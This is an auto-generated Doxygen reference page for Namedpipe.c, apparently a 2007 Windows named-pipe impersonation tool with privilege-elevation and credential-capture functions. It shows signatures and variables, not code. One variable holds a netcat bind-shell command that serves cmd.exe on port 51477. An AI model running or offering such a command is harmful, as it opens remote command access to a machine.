C:/Web/namedpipes/Namedpipe.c File Reference

#include <io.h>
#include <stdio.h>
#include <sys/stat.h>
#include <windows.h>
#include <Lm.h>
#include <process.h>

Go to the source code of this file.

Data Structures

struct  _credenciales

Defines

#define _CRT_SECURE_NO_DEPRECATE
#define MAX_USERS   1000

Typedefs

typedef struct _credenciales CREDENCIALES

Functions

BOOL EnableDebugPriv (void)
DWORD WINAPI procesa (LPVOID lpvParam)
DWORD WINAPI ConsoleHandler (void *p)
void __stdcall process_owner (HANDLE htoken, char *data, char *name)
void usage (void)
void banner (void)
int main (int argc, char **argv)
BOOL ExisteUsuario (int InUse)

Variables

CREDENCIALES credenciales [MAX_USERS]
short InUse = 0
char command [256] = "nc.exe -l -p 51477 -e cmd.exe"
char namedpipe [256] = "0day"
int PipeListen = 1


Define Documentation

#define _CRT_SECURE_NO_DEPRECATE

Definition at line 29 of file Namedpipe.c.

#define MAX_USERS   1000

Definition at line 39 of file Namedpipe.c.

Referenced by main().


Typedef Documentation

typedef struct _credenciales CREDENCIALES


Function Documentation

void banner ( void   ) 

Definition at line 335 of file Namedpipe.c.

Referenced by main().

DWORD WINAPI ConsoleHandler ( void *  p  ) 

Definition at line 245 of file Namedpipe.c.

References command, InUse, procesa(), and _credenciales::SystemTime.

Referenced by main().

BOOL EnableDebugPriv ( void   ) 

BOOL ExisteUsuario ( int  InUse  ) 

Definition at line 323 of file Namedpipe.c.

Referenced by main().

int main ( int  argc,
char **  argv 
)

Definition at line 62 of file Namedpipe.c.

References banner(), command, ConsoleHandler(), ExisteUsuario(), InUse, MAX_USERS, namedpipe, PipeListen, process_owner(), and usage().

DWORD WINAPI procesa ( LPVOID  lpvParam  ) 

Definition at line 209 of file Namedpipe.c.

References command, and process_owner().

Referenced by ConsoleHandler().

void __stdcall process_owner ( HANDLE  htoken,
char *  data,
char *  name 
)

Definition at line 174 of file Namedpipe.c.

Referenced by main(), and procesa().

void usage ( void   ) 

Definition at line 342 of file Namedpipe.c.

Referenced by main().


Variable Documentation

char command[256] = "nc.exe -l -p 51477 -e cmd.exe"

Definition at line 57 of file Namedpipe.c.

Referenced by ConsoleHandler(), main(), and procesa().

CREDENCIALES credenciales[MAX_USERS]

Definition at line 55 of file Namedpipe.c.

short InUse = 0

Definition at line 56 of file Namedpipe.c.

Referenced by ConsoleHandler(), and main().

char namedpipe[256] = "0day"

Definition at line 58 of file Namedpipe.c.

Referenced by main().

int PipeListen = 1

Definition at line 59 of file Namedpipe.c.

Referenced by main().


Generated on Sun Mar 25 14:08:54 2007 for Named pipes impersonation by  doxygen 1.5.4